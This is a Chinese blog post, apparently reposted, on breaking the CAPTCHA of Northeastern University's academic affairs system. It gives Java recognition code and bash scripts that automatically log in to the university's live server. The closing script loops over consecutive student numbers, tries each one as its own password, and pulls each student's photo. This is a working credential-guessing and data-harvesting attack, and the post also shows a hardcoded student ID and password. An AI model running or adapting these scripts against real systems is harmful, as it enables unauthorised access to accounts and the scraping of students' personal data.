东大教务处验证码破解
東北大學教務處編的很爛,一點鼠標鍵,它就著急拉慌說:"不當的拷貝會損壞您的系統(tǒng)".東大教務處的驗證碼是最簡單的那一種,形同虛設,很易破解.
一.東大教務處驗證碼特點概述
先上幾張圖片,.
字符集 a-zA-Z0-9共26+26+10=62個字符
字符位置 四種,如果四個字符一模一樣,這四個字符之間的間距是固定的,即第一個與第二個,第二個與第三個,第三個與第四個之間的距離都是一樣的.
字符形狀 字符形狀始終是一樣的,不同位置的同一字符可以通過平移來生成.
上面這些規(guī)律可以通過大量獲取驗證碼并加以分析找出.
二.獲取驗證碼,這是分析的材料
既可以用HttpClient也可以用原生的URLConnection,這個問題比較簡單,用URLConnection就足以解決了.只需要不停地訪問特定鏈接,每次訪問都會新生成驗證碼,這是因為沒有把Session存儲起來,只有Session相同,訪問這個鏈接才能保持不變.
public static void main(String[] args) throws Exception {for(int x=0;x<10;x++){download(x);}}static void download(int x) throws Exception {URL url = new URL("http://202.118.31.197/index.jsp/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=92.16375222337473");URLConnection connection = url.openConnection();BufferedImage bit = ImageIO.read(connection.getInputStream());ImageIO.write(bit, "png", new File("img\\"+x + ".png"));}千萬要注意的是,ImageIO.write()的第二個參數不能加點,即不能寫成".png",否則文件無法保存.而這個過程也不拋出異常.
三.驗證碼流程概述
服務器端有一個Servlet,專門用來處理驗證碼問題,每次訪問這個Servlet,它都會做兩件事:生成一個字符串作為驗證碼,把這個字符串存儲到session中,然后根據驗證碼字符串生成一張圖片應答客戶端請求.當瀏覽器端提交用戶名,密碼,驗證碼表單時,服務器端根據驗證碼是否與Session中的驗證碼一致來決定是否進行下一步判斷(用戶名密碼是否匹配).
所以,需要把Session存儲起來,以同一Session去訪問一個同一個驗證碼.即,
第一步訪問主頁面,獲取html,并把Session保存起來
第二步解析html頁面,找到驗證碼圖片鏈接,用上面保存的那個Session去訪問這個鏈接,得到正確的驗證碼圖片
第三步根據圖片求出一個字符串,也就是驗證碼的破解過程.
第四步模擬提交表單,登錄教務處,表單中包括用戶名,密碼,驗證碼
第五步根據登陸之后的結果(返回的html頁面),去訪問頁面內容
用JSOUP來解析html是很好的.
四.給一張圖片如何識別上面的字符
給一張圖片,我們所知道的就是圖片上的各個像素值,即ARGB(在這個問題中A值一直不變,只有RGB發(fā)生變化).根據相鄰點的顏色差就可以判斷兩個點是不是屬于同一個"國家".
顏色差可以有多種計算方法:
余弦定理:RGB就相當于一個三維空間,在這個三維空間中一個顏色就表示一個點.比如兩個顏色對應的點為A,B.原點用O來表示,求OA和OB的夾角,夾角小說明兩種顏色相近.
歐幾里得距離:RGB就相當于一個三維空間,每個顏色對應一個點,兩個顏色對應點為A,B.求線段AB的長度,此長度即為兩個顏色的差異,AB長度越短說明兩個顏色越相近.
漢密爾頓距離:RGB就相當于一個三維空間,每個顏色對應一個點,兩個顏色對應點為A,B,線段AB的距離定義為|x2-x1|+|y2-y1|+|z2-z1|
從左到右,從上到下掃描圖片的各個像素點,給每個點標一個國家id.從一個"有國點"可以向"無國點"沿上下左右四個方向進行擴散,如果顏色差不超過某個閾值,那么有國點就可以進行領土擴張,把無國點占領,把無國點的國家id標為自己的國家id.這樣一來,整個圖片就被分成了許多個國家.每個國家代表一個字符.
然而,圖片上是有噪音的,閾值不同會影響國家的劃分,閾值的兩個極端是:國家太多(一個字符被分裂成了多個國家),國家太少(整張圖片就是一個國家,像純色圖片一樣).
我想要獲得的是:每個字符在4種位置上所對應的"點集合",通過鼠標右鍵點擊,來作為這個國家的開始點進行擴展,幾乎形成了一個字符(像掃雷一樣,我點擊一個點,擴展出來一大片點).這樣就形成了一個字符的主體.這個主體可能是不完整的,需要通過鼠標左鍵來點擊個別點來完善這個字符的"點集合".鼠標雙擊清空點集合,鼠標滾輪滾動調整顏色閾值.通過這種可視化的操作就可以生成62個字符在4個位置對應的點集合.
經過觀察,同一字符在4個位置上形狀是一模一樣的,只是位置不一樣,驗證碼"AAAA",每個A之間的距離是一樣的,為disA,"BBBB"每個B之間的距離是一樣的,為disB.發(fā)現disA=disB.
這樣一來,問題轉化為建立一個"數據庫",為62個字符各自定義一套描述形狀的"點集合".并把每個字符在4個位置的最左,最上的點的坐標記錄下來.有了形狀,有了位置,就可以制作驗證碼了!這樣就可以檢驗一下自己的數據庫是否正確.
數據庫格式如下:
字符 在第一個位置的最左最上點的坐標 字符相對于它最左最上點的相對坐標(以最左最上點為原點)
知道了第一個位置上的最左最上點,就可以推出在第二,第三個位置上的最左最上點坐標.
五.應用數據庫
有了數據庫,就有了一套"模板".對于一個包含四個字符的驗證碼圖片,我把這四個字符逐一破解,而不是一下子全部破解.
對于位置一上的字符,有62中可能,我就把這62個字符挨個畫在圖片上,必然得到一個"點集合",也就是一個"顏色值集合",也就是一個"三維向量集合".求出"三維向量集合"的標準差來,如果標準差小,說明這個字符匹配得好;標準差大,說明這個字符匹配得差.
不一定是標準差,也可以是其他的數值來描述這個"三維向量集合"的特征.最終要的結果是:能夠根據"三維向量集"映射到62個字符中的一個.
六.結果
對于有些字符,比如0(零)和O(歐),它們的字形是完全一樣的,遇到包含這兩者的驗證碼時是誰都可以,但是服務器可不這么認為.
對于i和I,對于i和L,它們具有包含關系,也就是說明明是L,會識別成i.因為L所在"點集合"包括i所在"點集合",后者標準差更小,這樣就造成了誤判.
解決方法一是調整"三維向量集"到"數值"的映射,不要使用標準差,而是使用其它函數;
解決方法二:對得到的62個標準差就行排名,不取標準差最小值作為結果,而是一旦形成這個排名,那就選擇第幾名.比如L字符通常排在第二名,i排在第一名.通過檢測前五名,如果前五名滿足某個序列,那就放棄"最小值原則",而采取"特殊處理".
解決方法三:如果標準差相差不大,誰的面積大就選誰.對于前幾名,如果第n+1名的標準差<第n名的標準差的1.3倍,這就說明二者標準差相差不大,此時如果第n+1名面積大(點多),那么就選擇第n+1名.然后再把n+1名跟n+2名做如此比較.直到找到最好的為止.
Main.java:用來生成"字形字位數據庫"
/* 驗證碼圖片是60*20的矩形點陣,每個點用RGB三原色表示(ARGB中的A始終為0xff)* 驗證碼有62種字符0-9,a-z,A-Z* 每一個字符都有一個形狀:這是一個點集合* 每個字符都有固定的位置(有四種位置,每兩個相鄰位置之間的距離為13格)* 這個文件用來產生數據,格式為62行,每行開頭一個字符,接著第一種位置x和y,* 剩下的內容都是點集合* * 這個程序的目的是可視化的產生上述數據,通過鼠標點擊,來選定點集* 鼠標左鍵:選定單個點* 鼠標右鍵:選定一個點及其附近與之相似的點* CTRL+鼠標左鍵:清除單個點* 空格:清空全部點* ctrl+s保存當前結果到文件* * 選定一個點及其附近與之相似的點:利用顏色相似度來決定是否兩個相鄰點為同一個國家的公民* 如果兩個相鄰點顏色相近,那就把他倆看成連通的* 求出整個大圖的全部連通分量* * 一開始我還準備進行噪音處理,然而效果并不理想* */ class Point {int x, y;Point(int x, int y) {this.x = x;this.y = y;}@Overridepublic int hashCode() {return x ^ y;}@Overridepublic boolean equals(Object obj) {Point p = (Point) obj;return p.x == x && p.y == y;}boolean less(Point p) {if (x == p.x)return y < p.y;elsereturn x < p.x;} }class Country {ArrayList<Point> a = new ArrayList<Point>();Country() {}Country(ArrayList<Point> a) {this.a = new ArrayList<Point>();for (Point p : a) {this.a.add(new Point(p.x, p.y));}} }class Go {int[][] a;int[][] ans;int[][] id;ArrayList<Country> countries = new ArrayList<Country>();int w, h;int[] color;static int COLOR_DIS = 55;static int NOISE_LOWER_BOUND = 5, NOISE_UPPER_BOUND = 4;public Go(int[][] a) {this.a = a;w = a.length;h = a[0].length;id = new int[w][h];expand();// delNoise(); initColor(countries.size());getAns();}void cout(String s) {System.out.println(s);}void getAns() {ans = new int[w][h];for (int i = 0; i < countries.size(); i++) {Country c = countries.get(i);for (int j = 0; j < c.a.size(); j++) {ans[c.a.get(j).x][c.a.get(j).y] = color[i];}}}void delNoise() {Country zero = countries.get(0);for (int i = countries.size() - 1; i >= 0; i--) {Country c = countries.get(i);if (c.a.size() < NOISE_LOWER_BOUND || radius(c) > NOISE_UPPER_BOUND) {zero.a.addAll(c.a);countries.remove(i);}}}boolean hasRadius(Country c, int r) {for (int i = 0; i < c.a.size(); i++) {int m = c.a.get(i).x, n = c.a.get(i).y;boolean ok = true;out: for (int j = -r; j <= r; j++) {for (int k = -(r - Math.abs(j)); k <= r - Math.abs(j); k++) {int x = m + j, y = n + k;if (legal(x, y) && id[x][y] != id[m][n]) {ok = false;break out;}}}if (ok)return true;}return false;}int radius(Country c) {int r = (int) Math.sqrt(c.a.size()), l = 0;while (l < r) {int m = (l + r) >> 1;if (hasRadius(c, m))l = m + 1;elser = m;}return r;}void expand() {countries.add(new Country());for (int i = 0; i < w; i++) {for (int j = 0; j < h; j++) {if (id[i][j] == 0) {countries.add(new Country());go(countries.get(countries.size() - 1), i, j, countries.size() - 1);}}}}void go(Country country, int fx, int fy, int cnt) {int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 };id[fx][fy] = cnt;country.a.add(new Point(fx, fy));for (int i = 0; i < dir.length; i += 2) {int x = fx + dir[i], y = fy + dir[i + 1];if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < COLOR_DIS) {go(country, x, y, cnt);}}}void initColor(int cnt) {color = new int[cnt];double per = 255.0 / Math.pow(cnt, 1.0 / 3);int ci = 0;for (int i = 0; i < 255; i += per) {for (int j = 0; j < 255; j += per) {for (int k = 0; k < 255; k += per) {color[ci++] = i | j << 8 | k << 16;if (ci == cnt)return;}}}}boolean legal(int x, int y) {return x >= 0 && y >= 0 && x < w && y < h;}int dis(int x, int y) {int ans = 0;for (int i = 0; i < 3; i++) {int d = Math.abs((x & 255) - (y & 255));ans += d * d;x >>= 8;y >>= 8;}ans = (int) Math.sqrt(ans);return ans;} }class Data {Country[] xing = new Country[128];Point[][] wei = new Point[128][4];void save() {PrintWriter cout = null;try {cout = new PrintWriter(new File("haha.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}for (char c = '0'; c <= '9'; c++) {print(cout, c);}for (char c = 'a'; c <= 'z'; c++) {print(cout, c);}for (char c = 'A'; c <= 'Z'; c++) {print(cout, c);}cout.close();}void print(PrintWriter cout, char c) {cout.println();cout.print(c);for (int i = 0; i < 4; i++)if (wei[c][i] == null)continue;elsecout.print(" " + wei[c][i].x + " " + wei[c][i].y);if (xing[c] == null)return;for (Point p : xing[c].a)cout.print(" " + p.x + " " + p.y);}String gets(char c) {String s = "" + c;for (int i = 0; i < 4; i++) {if (wei[c][i] == null) {s += " (_,_)";} else {s += " (" + wei[c][i].x + "," + wei[c][i].y + ")";}}if (xing[c] != null) {s += "====== ";for (Point p : xing[c].a) {s += "(" + p.x + "," + p.y + ")";}}return s + "\n";}public String toString() {String s = "";for (char c = '0'; c <= '9'; c++) {s += gets(c);}for (char c = 'a'; c <= 'z'; c++) {s += gets(c);}for (char c = 'A'; c <= 'Z'; c++) {s += gets(c);}return s;}void sort(ArrayList<Point> a) {for (int i = 0; i < a.size(); i++) {for (int j = 0; j < a.size(); j++) {if (a.get(i).less(a.get(j))) {Point temp = a.get(i);a.set(i, a.get(j));a.set(j, temp);}}}}void uniq(ArrayList<Point> a) {for (int i = a.size() - 1; i > 0; i--)if (a.get(i).equals(a.get(i - 1))) {a.remove(i);}}void update(ArrayList<Point> a) {int x = a.get(0).x, y = a.get(0).y;for (Point p : a) {p.x -= x;p.y -= y;}}void set(String s, Country country) {if (country == null || country.a == null)return;Scanner cin = new Scanner(s);String c = cin.next();if (country.a.size() == 0) {System.out.println("Country.a.size() cannot be zero !!!");}if (country.a.size() == 1) {int pos = cin.nextInt() - 1;wei[c.charAt(0)][pos] = country.a.get(0);} else {sort(country.a);uniq(country.a);update(country.a);xing[c.charAt(0)] = country;}cin.close();} }public class Main extends JFrame {public static void main(String[] args) {try {UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());} catch (ClassNotFoundException | InstantiationException | IllegalAccessException| UnsupportedLookAndFeelException e) {e.printStackTrace();}new Main();}File[] files = new File("img").listFiles();int fileIndex = 0;JPanel protoPanel = new JPanel(), nowPanel = new JPanel();JTextField txt = new JTextField();JTextArea area = new JTextArea(6, 0);Container content;int proto[][], now[][];BufferedImage protoImage, nowImage;ArrayList<Point> selectedPoints;Data data = new Data();Go go;void initControl() {Font f = new Font("Ubuntu Mono", Font.BOLD, 30);txt.setFont(f);area.setFont(f);area.setEditable(false);txt.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_ENTER) {data.set(txt.getText(), new Country(selectedPoints));area.setText(data.toString());txt.setText("");selectedPoints = null;protoPanelPaint();}}});}Main() {loadProto();loadNow();setTitle("agnomen decoder");content = getContentPane();content.setLayout(new BorderLayout());JPanel pane = new JPanel(new GridLayout());pane.add(protoPanel);pane.add(nowPanel);content.add(pane, BorderLayout.CENTER);JPanel editPane = new JPanel(new BorderLayout());initControl();editPane.add(txt, BorderLayout.NORTH);editPane.add(new JScrollPane(area), BorderLayout.CENTER);content.add(editPane, BorderLayout.NORTH);setExtendedState(MAXIMIZED_BOTH);setDefaultCloseOperation(EXIT_ON_CLOSE);setVisible(true);protoPanel.addMouseListener(new MouseAdapter() {@Overridepublic void mouseEntered(MouseEvent e) {protoPanel.grabFocus();}@Overridepublic void mouseClicked(MouseEvent e) {double w = (double) protoPanel.getWidth() / proto.length,h = (double) protoPanel.getHeight() / proto[0].length;int x = (int) (e.getX() / w), y = (int) (e.getY() / h);int color = proto[x][y];int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255;setTitle(x + " " + y + " " + r + " " + g + " " + b);if (e.getButton() == MouseEvent.BUTTON3) {selectedPoints = go.countries.get(go.id[x][y]).a;protoPanelPaint();} else if (e.getButton() == MouseEvent.BUTTON1) {if (e.isControlDown()) {if (selectedPoints == null)return;for (Point p : selectedPoints) {if (p.x == x && p.y == y) {selectedPoints.remove(p);protoPanelPaint();return;}}} else {if (selectedPoints == null)selectedPoints = new ArrayList<Point>();selectedPoints.add(new Point(x, y));protoPanelPaint();}}}});nowPanel.addMouseWheelListener(new MouseWheelListener() {@Overridepublic void mouseWheelMoved(MouseWheelEvent e) {int x = e.getWheelRotation();Go.COLOR_DIS += x;setTitle(Go.COLOR_DIS + "");loadNow();nowPanelPaint();}});protoPanel.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_DOWN) {fileIndex = (fileIndex + 1) % files.length;selectedPoints = null;loadProto();loadNow();repaint();} else if (e.getKeyCode() == KeyEvent.VK_UP) {fileIndex = (fileIndex - 1 + files.length) % files.length;selectedPoints = null;loadProto();loadNow();repaint();} else if (e.getKeyCode() == KeyEvent.VK_S && e.isControlDown()) {data.save();/** JFrame dlg = new JFrame();* //dlg.getContentPane().setLayout(null); JTextArea area =* new JTextArea(); Font f = new Font("Ubuntu Mono",* Font.BOLD, 30); area.setFont(f); Scanner cin = null; try* { cin = new Scanner(new File("data.txt")); } catch* (FileNotFoundException e1) { e1.printStackTrace(); }* String s = ""; while (cin.hasNext()) { s +=* cin.nextLine()+"\n"; } area.setText(s);* dlg.getContentPane().add(area);* dlg.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);* dlg.setSize(800, 800); dlg.setVisible(true);*/} else if (e.getKeyCode() == KeyEvent.VK_SPACE) {selectedPoints = null;protoPanelPaint();}}});}@Overridepublic void paint(Graphics g) {protoPanelPaint();nowPanelPaint();}void loadNow() {go = new Go(proto);now = go.ans;nowImage = toImg(now);}void loadProto() {try {protoImage = ImageIO.read(files[fileIndex]);proto = toArray(protoImage);} catch (IOException e) {e.printStackTrace();}}int[][] copy(int[][] src) {int[][] a = new int[src.length][src[0].length];for (int i = 0; i < src.length; i++) {for (int j = 0; j < src[i].length; j++) {a[i][j] = src[i][j];}}return a;}void nowPanelPaint() {nowPanel.getGraphics().drawImage(nowImage, 0, 0, nowPanel.getWidth(), nowPanel.getHeight(), null);}void protoPanelPaint() {int[][] midArray = copy(proto);addColor(midArray);BufferedImage midImg = toImg(midArray);protoPanel.getGraphics().drawImage(midImg, 0, 0, protoPanel.getWidth(), protoPanel.getHeight(), null);}void addColor(int[][] a) {if (selectedPoints == null)return;for (Point p : selectedPoints) {a[p.x][p.y] = 0xff0000;}}BufferedImage toImg(int[][] a) {BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);for (int i = 0; i < pic.getWidth(); i++) {for (int j = 0; j < pic.getHeight(); j++) {pic.setRGB(i, j, a[i][j]);}}return pic;}int[][] toArray(BufferedImage img) {int a[][] = new int[img.getWidth()][img.getHeight()];for (int i = 0; i < img.getWidth(); i++) {for (int j = 0; j < img.getHeight(); j++) {a[i][j] = img.getRGB(i, j);}}return a;}void cout(String s) {System.out.print(s);} }TestAns.java:用來檢驗數據庫是否正確
/* Main.java用來生成數據* 本程序用來驗證生成的數據是否正確* 其實就是從data.txt中把數據讀出來,然后畫一下* 用眼睛一看便知是否正確* * l和o在驗證碼中沒出現過* 在txtField中輸入字符,按enter就可以在同一張圖片上查看不同對比* */ class Node {int x, y;ArrayList<Point> a = new ArrayList<Point>(); }public class TestAns extends JFrame {public static void main(String[] args) {new TestAns();}Node[] a = new Node[128];char[] charSet;int index = 0;int[][] nowArray = new int[60][20];JTextField txt = new JTextField();JPanel panel = new JPanel();void readFile() {Scanner cin = null;try {cin = new Scanner(new File("data.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}while (cin.hasNextLine()) {String s = cin.nextLine();Scanner sin = new Scanner(s);char c = sin.next().charAt(0);a[c] = new Node();a[c].x = sin.nextInt();a[c].y = sin.nextInt();while (sin.hasNext()) {a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));}sin.close();}cin.close();}void initCharSet() {String s = "";for (char c = '0'; c <= '9'; c++)s += c;for (char c = 'a'; c <= 'z'; c++)s += c;for (char c = 'A'; c <= 'Z'; c++)s += c;charSet = s.toCharArray();}public TestAns() {readFile();initCharSet();initNowArray("0000"); Container content = getContentPane();content.setLayout(new BorderLayout());content.add(txt, BorderLayout.NORTH);txt.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_ENTER) {initNowArray(txt.getText());repaint();}else if (e.getKeyCode() == KeyEvent.VK_UP) {index--;char c = charSet[index];initNowArray(c + "" + c + "" + c + "" + c);repaint();} else if (e.getKeyCode() == KeyEvent.VK_DOWN) {index++;char c = charSet[index];initNowArray(c + "" + c + "" + c + "" + c);repaint();}}});content.add(panel, BorderLayout.CENTER);setExtendedState(MAXIMIZED_BOTH);setDefaultCloseOperation(DISPOSE_ON_CLOSE);setVisible(true);}@Overridepublic void paint(Graphics ggg) {Graphics g = panel.getGraphics();g.drawImage(toImg(nowArray), 0, 0, panel.getWidth(), panel.getHeight(), null);}void initNowArray(String s) {setTitle(s);for (int i = 0; i < nowArray.length; i++) {for (int j = 0; j < nowArray[0].length; j++) {nowArray[i][j] = 0;}}for (int i = 0; i < 4 && i < s.length(); i++) {char c = s.charAt(i);for (Point p : a[c].a) {nowArray[p.x + a[c].x + i * 13][a[c].y + p.y] = 0xffffff;}}}BufferedImage toImg(int[][] a) {BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);for (int i = 0; i < pic.getWidth(); i++) {for (int j = 0; j < pic.getHeight(); j++) {pic.setRGB(i, j, a[i][j]);}}return pic;} }Decoder.java:應用數據庫,破解驗證碼
/* 經過Main.java生成數據,TestAns驗證數據,本程序應用數據去破解圖片* 從文件夾中讀取全部的圖片,在窗口的標題處顯示破解結果* 在窗口主體處顯示原始圖片* * 如何應用那些數據呢?* for循環(huán)62個字符*4個位置,如果匹配成功了,那就該字符所覆蓋的點集顏色方差非常小* 所以,只要找出方差最小的字符來就可以了* i和P,K,j等字符容易混淆,n和h容易混淆,因為后者包含前者.我的解決方法是一個判斷,如果方差相差不多,那就取面積大者* O和0分不清,因為這兩個字符一模一樣* */ class Color {double r, g, b;Color add(Color c) {return new Color(r + c.r, g + c.g, b + c.b);}Color(double d, double e, double f) {this.r = d;this.g = e;this.b = f;}Color(int x) {r = x & 255;g = (x >> 8) & 255;b = (x >> 16) & 255;}public Color mul() {return new Color(r * r, g * g, b * b);}public Color sub(Color m) {return new Color(r - m.r, g - m.g, b - m.b);}public Color div(int size) {return new Color(r / size, g / size, b / size);}public double len() {return Math.sqrt(r * r + g * g + b * b);} }public class Decoder extends JFrame {public static void main(String[] args) {if (args.length == 0)new Decoder();else if (args.length == 1)new Decoder(args[0]);else {System.out.println("too much arguments");System.exit(-1);}}File[] files = new File("img").listFiles();int fileIndex = 0;Container content;Node[] a = new Node[128];char[] charSet;int[][] proto;void readFile() {Scanner cin = null;try {cin = new Scanner(new File("data.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}while (cin.hasNextLine()) {String s = cin.nextLine();Scanner sin = new Scanner(s);char c = sin.next().charAt(0);a[c] = new Node();a[c].x = sin.nextInt();a[c].y = sin.nextInt();while (sin.hasNext()) {a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));}sin.close();}cin.close();}void initCharSet() {String s = "";for (char c = '0'; c <= '9'; c++)s += c;for (char c = 'a'; c <= 'z'; c++)s += c;for (char c = 'A'; c <= 'Z'; c++)s += c;charSet = s.toCharArray();}Decoder(String path) {readFile();initCharSet();BufferedImage img = null;try {img = ImageIO.read(files[fileIndex]);} catch (IOException e) {e.printStackTrace();}proto = toArray(img);System.out.println(go());}Decoder() {readFile();initCharSet();content = getContentPane();setDefaultCloseOperation(EXIT_ON_CLOSE);setExtendedState(MAXIMIZED_BOTH);setVisible(true);addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_DOWN) {fileIndex = (fileIndex + 1) % files.length;repaint();} else if (e.getKeyCode() == KeyEvent.VK_UP) {fileIndex = (fileIndex - 1 + files.length) % files.length;repaint();}}});}@Overridepublic void paint(Graphics g) {try {BufferedImage img = ImageIO.read(files[fileIndex]);proto = toArray(img);g.drawImage(img, 0, 0, content.getWidth(), content.getHeight(), null);setTitle(go());} catch (IOException e) {e.printStackTrace();}}String go() {double sizeRatio = 3.47;String ans = "";for (int i = 0; i < 4; i++) {char minC = 'l';double minDx = Double.MAX_VALUE;for (char c : charSet) {ArrayList<Point> s = a[c].a;Color m = new Color(0), n = new Color(0);for (Point p : s) {int x = p.x + a[c].x + i * 13, y = p.y + a[c].y;m = m.add(new Color(proto[x][y]));n = n.add(new Color(proto[x][y]).mul());}n = n.div(s.size());m = m.div(s.size());double nowDx = n.sub(m.mul()).len();System.out.println(c + " " + nowDx);/** This condition is very important ! Different condition can* generate different result !*/if (nowDx < minDx && !(minDx < nowDx * sizeRatio && s.size() < a[minC].a.size())|| nowDx < minDx * sizeRatio && s.size() > a[minC].a.size()) {// if (nowDx < 1500 && s.size() > a[minC].a.size()) {minDx = nowDx;minC = c;}}ans += minC;}return ans;}int[][] toArray(BufferedImage img) {int a[][] = new int[img.getWidth()][img.getHeight()];for (int i = 0; i < img.getWidth(); i++) {for (int j = 0; j < img.getHeight(); j++) {a[i][j] = img.getRGB(i, j);}}return a;} }為了像使用腳本一樣使用java,我把.class文件生成到臨時文件夾中,編譯完之后立馬執(zhí)行.
#!/bin/bash test -e $1 || { echo 'file does not exist !';exit 2; } src=$1 shift name="${src%.*}" type="${src##*.}" dir=`pwd` dir="/tmp/${dir_}" case $type injava)path="$dir/$name.class"compile="javac -d $dir $src"run="java -cp $dir $name $@";;cpp)path="$dir/$name.out"compile="g++ $1 -o $dir/$name.out"run="$dir/$name.out $@";;*)echo "unknown file type "exit 1 esac if test ! -d "$dir" ;then #echo 'mkdir...compiling...'mkdir "$dir" && $compile && $run elif test ! -f $path -o $path -ot $src ;then #echo 'compiling...' $compile && $run else $run fi寫一個腳本試試驗證碼破解的正確率,eog調用圖片查看命令
#!/bin/bash home="202.118.31.197" url="http://$home/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=0" while true;dowget -o /dev/null -O 'agnomen' $url./ja Decoder.java 'agnomen'eog 'agnomen' done使用curl命令進行請求服務器并調用java代碼破解驗證碼,然后模擬登陸.
function cout(){echo -e "\033[31m$@\033[0m" } function translate(){ iconv -f "$1" -t utf-8 "$2" -o "$2" } usr='20124003' usr="$1" passwd='weidiao' passwd="$2" home="202.118.31.197" url="http://$home" find "$home" -type f -exec rm {} \;wget -o /dev/null --keep-session-cookies --save-cookies='cookie' -p $url pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o 'ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=[0-9,.]*'` x=`./ja Decoder.java "$home/$pic"` data="WebUserNO=$usr&Password=$passwd&Agnomen=$x" wget -o /dev/null -O "aao.html" --keep-session-cookies --load-cookies='cookie' --post-data=$data "$url/ACTIONLOGON.APPPROCESS?mode=" translate "gb2312" "aao.html" grep "frameset" "aao.html" || { cout "login failed"; exit 1; } cout "login successful !" #exit 0echo ======================= wget -o /dev/null --keep-session-cookies --load-cookies='cookie' -p "http://202.118.31.197/ACTIONFINDSTUDENTINFO.APPPROCESS" stuInfo="$home/ACTIONFINDSTUDENTINFO.APPPROCESS?mode=1&showMsg=" translate "gbk" "$stuInfo" cat "$stuInfo"終于到了收獲的季節(jié),查看一下有多少人學號跟密碼是一回事(沒法破解密碼,破解密碼只能通過暴力方式),驗證碼是不用手動填的,我同學的學號都是遞增的數字序列.
#!/bin/bash i=20121234 while test $i -lt 20123990 ;doecho $i./haha.sh $i $i && eog "202.118.31.197/ACTIONDSPUSERPHOTO.APPPROCESS"i=$((i+1)) done總結
以上是生活随笔為你收集整理的东大教务处验证码破解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: UIView CALayer
- 下一篇: PHP小常识分享